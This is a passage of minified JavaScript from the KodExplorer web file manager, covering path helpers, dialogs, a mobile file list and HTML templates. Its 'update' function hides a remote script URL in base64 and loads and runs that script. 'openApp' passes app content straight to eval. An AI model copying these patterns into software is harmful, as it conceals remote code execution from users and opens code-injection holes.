"cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return-1!==$.inArray(t[0],i)&&(a=!0),a},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&access_token="+G.access_token+"&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},pathCurrentWriteable:function(){return"editor"==Config.pageApp?!1:G.json_data.info?G.json_data.info.can_upload:!1},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),"<!--user login-->"==t.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==t&&(t="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置<br/>请联系主机商或网管,检查防火墙配置!"),t='<div class="ajaxError">'+t+"</div>",i?i.content(t):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:t}),void 0)},fileGet:function(e,t,i){var a="filename";"http"==e.substr(0,4)&&(a="file_url");var n="./index.php?editor/fileGet&"+a+"="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&"+a+"="+urlEncode(e)),"./index.php?"==e.substr(0,"./index.php?".length)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,t,a){core.ajaxError(e,t,a),"function"==typeof i&&i()},success:function(e){"function"==typeof t&&t(e.data.content,e,n)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="<a href='"+quoteHtml(e)+"' s='"+e+"' target='_blank'><img src='"+i+"' style='border:1px solid #eee;'/></a>";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="<iframe frameborder='0' name='Open"+a+"' src='"+htmlEncode(e)+"' style='width:100%;height:100%;border:0;'></iframe>",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append('<img src="'+t+'" onload="core.setSkinFinished();" onerror="core.setSkinFinished();" class="hidden setSkin_finished">'),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement; +/*! power by kodexplorer ver3.43(2017-04-12) [build 1491993755092] */ +define("app/src/explorer_wap/main",["lib/jquery-lib","lib/util","lib/artDialog/jquery-artDialog","./ui","../../common/core","./path","../../common/pathOperate","../../common/pathOpen","../../common/myPlayer"],function(e){Config={BodyContent:".bodymain",FileBoxSelector:".fileContiner",FileBoxClass:".fileContiner .file",FileBoxClassName:"file",FileBoxTittleClass:".fileContiner .title",SelectClass:".fileContiner .select",SelectClassName:"select",TypeFolderClass:"folderBox",TypeFileClass:"fileBox",HoverClassName:"hover",FileOrderAttr:"number",TreeId:"folderList",pageApp:"explorer_wap",treeAjaxURL:"index.php?explorer/treeList&app=explorer",AnimateTime:200},e("lib/jquery-lib"),e("lib/util"),e("lib/artDialog/jquery-artDialog"),ui=e("./ui"),core=e("../../common/core"),ui.path=e("./path"),ui.pathOpen=ui.path.pathOpen,$(document).ready(function(){core.init(),ui.init(),$(".init_loading").fadeOut(450).addClass("pop_fadeout"),e.async("lib/webuploader/webuploader-min",function(){core.uploadInit()})})}),define("app/src/explorer_wap/ui",[],function(e){var t=e("./tpl/file_list_make_wap.html"),i=function(){$(".fileContiner .picture img").lazyload({placeholder:G.static_path+"images/common/loading_tree.gif",container:$(".bodymain")})},a=function(e,t){var t="down"==t?-1:1;return function(i,a){return i=i[e],a=a[e],a>i?-1*t:i>a?1*t:void 0}},n=e("./tpl/photoSwipe.html");$(n).appendTo("body"),e.async(["lib/PhotoSwipe/photoswipe.min.js","lib/PhotoSwipe/photoswipe-ui-default.min.js","lib/PhotoSwipe/photoswipe.css","lib/PhotoSwipe/default-skin/default-skin.css"],function(){});var o=function(e){var t=[],i=0;$(".picasaImage img").each(function(a){var n=pathHashDecode($(this).parent().parent().attr("data-path")),o=$(this).parent().attr("picasa"),s=$(this).attr("data-original"),r=30;t.push({src:o,msrc:s,w:$(this).width()*r,h:$(this).height()*r}),e==n&&(i=a)});var a={history:!1,focus:!0,index:i,bgOpacity:.8,maxSpreadZoom:5,closeOnScroll:!1,shareEl:!1,showHideOpacity:!0,showAnimationDuration:300,hideAnimationDuration:0,getThumbBoundsFn:function(e){var t=$(".picasaImage img")[e],i=window.pageYOffset||document.documentElement.scrollTop,a=t.getBoundingClientRect();return{x:a.left,y:a.top+i,w:a.width}}},n=new PhotoSwipe($(".pswp").get(0),PhotoSwipeUI_Default,t,a);n.init(),$(".pswp__caption__center").css({"text-align":"center"})},s=function(e){for(var a=template.compile(t),n="",o=G.json_data.folderlist.concat(G.json_data.filelist),s=0;o.length>s;s++){var r="folder"==o[s].type?"list_folder":"list_file",l={LNG:LNG,G:G,list:o[s],index:s,type:r};o[s].icon&&"icon_file"==l.type&&"oexe"==o[s].ext&&(l.oexe_icon=o[s].icon,"string"==$.type(o[s].icon)&&-1==o[s].icon.search(G.static_path)&&"http"!=o[s].icon.substring(0,4)&&(l.oexe_icon=G.static_path+"images/file_icon/icon_app/"+o[s].icon)),n+=a(l)}""==n&&(n='<div style="text-align:center;color:#aaa;">'+LNG.path_null+"</div>"),n+="<div style='clear:both'></div>",e?$(Config.FileBoxSelector).hide().html(n).fadeIn(Config.AnimateTime):$(Config.FileBoxSelector).html(n);var c=$(Config.FileBoxClass).not(".systemBox");$('<i class="file-action icon-font icon-ellipsis-horizontal"></i>').appendTo(c),$(Config.FileBoxSelector+" .file:nth-child(2n)").addClass("file2"),i()},r=function(e,t){var i="index.php?explorer/pathList&path="+urlEncode(G.this_path);G.user&&(i="index.php?share/pathList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(G.this_path)),void 0==e&&(e=!0),void 0==t&&(t=!1),e?$.ajax({url:i,dataType:"json",beforeSend:function(){$(".tools-left .msg").stop(!0,!0).fadeIn(100)},success:function(e){return $(".tools-left .msg").fadeOut(100),e.code?(G.json_data=c(e.data),s(t),u(),ui.header.addressSet(),void 0):(Tips.tips(e),$(Config.FileBoxSelector).html(""),!1)},error:function(e,t,i){$(".tools-left .msg").fadeOut(100),$(Config.FileBoxSelector).html(""),core.ajaxError(e,t,i)}}):(s(t),u())},l=function(e){r(!0,!1,e)},c=function(e){e=d(e);var t=e.folderlist,i=e.filelist;return t=t.sort(a("name","up")),i=i.sort(a("name","up")),e.folderlist=t,e.filelist=i,e},d=function(e){if(!e)return e;if(void 0!=e.share_list&&(self_share=e.share_list),e.filter_success===!0)return e;for(var t in e)if("filelist"==t||"folderlist"==t)for(var i=0;e[t].length>i;i++){var a=e[t][i];if(a.name=htmlEncode(a.name),a.mtime&&11>=(""+a.mtime).length)if(a.atime=date(LNG.time_type,a.atime),a.ctime=date(LNG.time_type,a.ctime),e.info&&e.info.path_type==G.KOD_USER_SHARE&&-1==trim(e.this_path,"/").indexOf("/")){var n=parseInt(a.num_view);n=isNaN(n)?0:n;var o=parseInt(a.num_download);o=isNaN(o)?0:o;var s=date("Y/m/d ",a.mtime)+" ";s+=LNG.share_view_num+n+" "+LNG.share_download_num+o,a.mtime=s}else a.mtime=date(LNG.time_type,a.mtime);"number"==typeof a.is_readable&&0==a.is_readable?a.mode="["+LNG.not_read+"] "+a.mode:"number"==typeof a.is_writeable&&1==a.is_writeable?a.mode="["+LNG.system_role_write+"] "+a.mode:"number"==typeof a.is_readable&&1==a.is_readable&&(a.mode="["+LNG.only_read+"] "+a.mode)}return e.filter_success=!0,e},p=function(e,t){var i=pathHashDecode(e.attr("data-path")),a=e.find(".ico").attr("filetype");switch(t){case"action_copy":ui.path.copy(i,a);break;case"action_rname":ui.path.rname(i);break;case"action_download":ui.path.download(i,a);break;case"action_remove":ui.path.remove(i,a);break;default:}},f=function(){$(window).bind("hashchange",function(){var e=window.location.href,t=e.split("#");""!=t[1]&&t[1]!=G.this_path&&t[1]!=urlEncode(G.this_path)&&ui.path.list(urlDecode(t[1]))}),$(".fileContiner .file").die("click").live("click",function(e){if($(".fileContiner .file .file_action_menu").animate({left:"100%"},300,0,function(){$(this).remove()}),$(this).find(".file_action_menu").length>0){if($(e.target).hasClass("action_menu")){var t=$(e.target).attr("data-action");p($(this),t)}if($(e.target).parent().hasClass("action_menu")){var t=$(e.target).parent().attr("data-action");p($(this),t)}}else{if($(e.target).hasClass("file-action")){var i=$(".file_menu .file_action_menu").clone(),a=!0;return $(e.target).parent().hasClass("file_not_writeable")?a=!1:G.json_data.info&&G.json_data.info.can_upload||(a=!1),a||(i.find("[data-action=action_remove]").remove(),i.find("[data-action=action_rname]").remove()),i.appendTo($(this)),i.removeClass("hidden").css({left:"100%"}).animate({left:"0%"},300,0,function(){}),void 0}var n=$(this).find(".ico").attr("filetype"),o=pathHashDecode($(this).attr("data-path"));ui.path.open(o,n),stopPP(e)}}),$(".address li").die("click").live("click",function(e){var t=$(this).find("a").attr("data-path");ui.path.list(t),stopPP(e)})},u=function(){if(G.json_data.info){var e=G.json_data.info,t=e.path_type,i=G.json_data.path_read_write;void 0!=i&&"writeable"!=i||t==G.KOD_USER_RECYCLE||t==G.KOD_USER_SHARE||t==G.KOD_GROUP_SHARE?G.json_data.info.can_upload=!1:(G.json_data.info.can_upload=!0,1!=G.is_root&&t==G.KOD_GROUP_PATH&&"guest"==e.role&&(G.json_data.info.can_upload=!1)),G.json_data.info.can_upload?$("[data-action=upload],[data-action=newfolder],[data-action=past]").removeClass("hidden"):$("[data-action=upload],[data-action=newfolder],[data-action=past]").addClass("hidden")}},h=function(){$.ajax({url:"./index.php?explorer/treeList&app=explorer&type=init",dataType:"json",success:function(e){e.code||Tips.tips(e);for(var t="",i=0;e.data.length>i;i++){var a=e.data[i];t+='<li data-action="pathOpen" data-path="'+a.path+'"><i class="x-item-file x-'+a.ext+'"></i><span>'+a.name+"</span></li>"}t+='<li data-action="exit"><i class="x-item-file x-setting"></i><span>'+LNG.ui_logout+"</span></li>",$(".left_menu_path").html(t),$(".panel-menu li").bind("click",function(){$("body").removeClass("menu-open");var e=$(this).attr("data-action");switch(e){case"pathOpen":ui.path.list($(this).attr("data-path"));break;case"exit":window.location.href="./index.php?user/logout";break;default:}})}})};return{f5:r,f5Callback:l,openImage:o,init:function(){if(""==G.this_path){var e=window.location.href.split("#");if(2==e.length&&""!=trim(urlDecode(e[1])))G.this_path=urlDecode(e[1]);else{var t=G.user_id||G.sid,i=LocalData.get("this_path_"+t);G.this_path=i?i:G.myhome}}l(function(){r(!1,!0)}),h(),f(),ui.header.bindEvent()},header:{bindEvent:function(){$(".left_tool").on("click",function(){$("body").toggleClass("menu-open")}),$(".panel-mask").on("click",function(){$("body").toggleClass("menu-open")}),$(".right_tool").on("click",function(e){$(this).parent().toggleClass("open"),stopPP(e)}),$("body").on("click",function(e){$(e).hasClass("right_tool")||$(".menu_group").removeClass("open")}),$(".menu-right_tool li").on("click",function(e){$(".menu_group").removeClass("open");var t=$(this).attr("data-action");switch(t){case"upload":core.upload();break;case"newfolder":ui.path.newFolder();break;case"newfile":ui.path.newFile("txt");break;case"search":core.search("",G.this_path);break;case"past":ui.path.past();break;default:}return stopPP(e),!1}),G.share_info&&G.share_info.can_upload&&$("[data-action=upload]").removeClass("hidden")},addressSet:function(){var e=G.this_path,t=function(e){var t='<li class="yarnlet first"><a title="@1@" data-path="@1@" style="z-index:{$2};"><span class="left-yarn"></span>{$3}</a></li>\n',i='<li class="yarnlet "><a title="@1@" data-path="@1@" style="z-index:{$2};">{$3}</a></li>\n';e=e.replace(/\/+/g,"/");var a=e.split("/");""==a[a.length-1]&&a.pop();var n=a[0]+"/",o=t.replace(/@1@/g,n),s=a[0],r="";if(G.json_data.info&&G.json_data.info.path_type&&""!=a[0]){var l=core.getPathIcon(G.json_data.info,G.json_data.info.name);r='<span class="address_ico">'+core.iconSmall(l.icon)+"</span>",s=l.name}o=o.replace("{$2}",a.length),o=o.replace("{$3}",r+'<span class="title_name">'+htmlEncode(s)+"</span>");for(var c=o,d=1,p=a.length-1;a.length>d;d++,p--)n+=htmlEncode(a[d])+"/",o=i.replace(/@1@/g,n),o=o.replace("{$2}",p),o=o.replace("{$3}",'<span class="title_name">'+htmlEncode(urlDecode(a[d]))+"</span>"),c+=o;return c};$(".frame-main .address ul").html(t(e))},gotoPath:function(){var e=$("input.path").val();e=e.replace(/\\/g,"/"),$("input.path").val(e),"/"!=e.substr(e.length-1,1)&&(e+="/"),ui.path.list(e),ui.header.addressSet()}}}}),define("app/src/explorer_wap/tpl/file_list_make_wap.html",[],"<!-- 列表模式文件夹 -->\n{{if type=='list_folder'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file\n{{if index%2==0}}file2{{/if}} {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}folderBox menufolder{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\ntitle='{{LNG.permission}}:{{list.mode}}&#10;{{LNG.modify_time}}:{{list.mtime}}'\ndata-size=\"0\">\n <div class='ico' filetype='folder'>\n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n </div>\n <div class='filename'>\n <span class='title'>\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{list.name}}\n {{/if}}\n </span>\n </div>\n <!-- <div class='filetype'>{{LNG.folder}}</div> -->\n <div class='filesize'></div>\n <div class='filetime'>{{list.mtime}}</div>\n <div style='clear:both'></div>\n</div>\n\n<!-- 列表模式文件 -->\n{{else if type=='list_file'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file {{if index%2==0}}file2{{/if}} {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}fileBox menufile{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\n{{if list.ext=='oexe'}} data-app='{{window.base64Encode(window.jsonEncode(list))}}'{{/if}}\ntitle='{{LNG.size}}:{{list.size |core.fileSize}}&#10;{{LNG.permission}}:{{list.mode}}&#10;{{LNG.modify_time}}:{{list.mtime}}'\ndata-size=\"{{list.size}}\">\n {{if window.inArray(core.filetype['image'],list.ext)}}\n <div class='picasaImage picture ico' filetype='{{list.ext |window.htmlEncode}}' picasa='{{list.path |core.path2url|window.htmlEncode}}'>\n {{if window.G.sid}}\n <img class=\"lazyload_ready\" data-original='index.php?share/image&user={{window.G.user}}&sid={{window.G.sid}}&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{else}}\n <img class=\"lazyload_ready\" data-original='index.php?explorer/image&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{/if}}\n </div>\n {{else if list.type == 'app_link'}}<!-- 快捷方式 -->\n {{if list.content.search('ui.path.open') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n </div>\n {{else if list.content.search('ui.path.list') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.icon |core.icon}}\n </div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>{{\"folder\" |core.iconSmall}}</div>\n {{/if}}\n <div class=\"meta_info app_link\">{{'app_link' |core.icon}}</div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n </div>\n {{/if}}\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n\n <div class='filename'>\n <span class='title'>\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n </span>\n </div>\n <!-- <div class='filetype'>{{list.ext |window.htmlEncode}} {{LNG.file}}</div> -->\n <div class='filesize'>{{list.size |core.fileSize}}</div>\n <div class='filetime'>{{list.mtime}}</div>\n <div style='clear:both'></div>\n</div>\n{{/if}}\n"),define("app/src/explorer_wap/tpl/photoSwipe.html",[],'<div class="pswp" tabindex="-1" role="dialog" aria-hidden="true">\n <div class="pswp__bg"></div>\n <!-- Slides wrapper with overflow:hidden. -->\n <div class="pswp__scroll-wrap">\n <!-- Container that holds slides. PhotoSwipe keeps only 3 slides in DOM to save memory. -->\n <div class="pswp__container">\n <!-- don\'t modify these 3 pswp__item elements, data is added later on -->\n <div class="pswp__item"></div>\n <div class="pswp__item"></div>\n <div class="pswp__item"></div>\n </div>\n <!-- Default (PhotoSwipeUI_Default) interface on top of sliding area. Can be changed. -->\n <div class="pswp__ui pswp__ui--hidden">\n <div class="pswp__top-bar">\n <div class="pswp__counter"></div>\n <button class="pswp__button pswp__button--close" title="Close (Esc)"></button>\n <button class="pswp__button pswp__button--share" title="Share"></button>\n <button class="pswp__button pswp__button--fs" title="Toggle fullscreen"></button>\n <button class="pswp__button pswp__button--zoom" title="Zoom in/out"></button>\n <div class="pswp__preloader">\n <div class="pswp__preloader__icn">\n <div class="pswp__preloader__cut">\n <div class="pswp__preloader__donut"></div>\n </div>\n </div>\n </div>\n </div>\n <div class="pswp__share-modal pswp__share-modal--hidden pswp__single-tap">\n <div class="pswp__share-tooltip"></div> \n </div>\n\n <button class="pswp__button pswp__button--arrow--left" title="Previous (arrow left)">\n </button>\n\n <button class="pswp__button pswp__button--arrow--right" title="Next (arrow right)">\n </button>\n <div class="pswp__caption">\n <div class="pswp__caption__center"></div>\n </div>\n </div>\n </div>\n</div>\n'),define("app/common/core",[],function(require,exports){tpl_search_box=require("./tpl/search.html"),tpl_search_list=require("./tpl/search_list.html"),tpl_upload=require("./tpl/upload.html"),tpl_file_info=require("./tpl/fileinfo/file_info.html"),tpl_path_info=require("./tpl/fileinfo/path_info.html"),tpl_zipview=require("./tpl/zipview.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),zipView=require("./core.zipView");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var 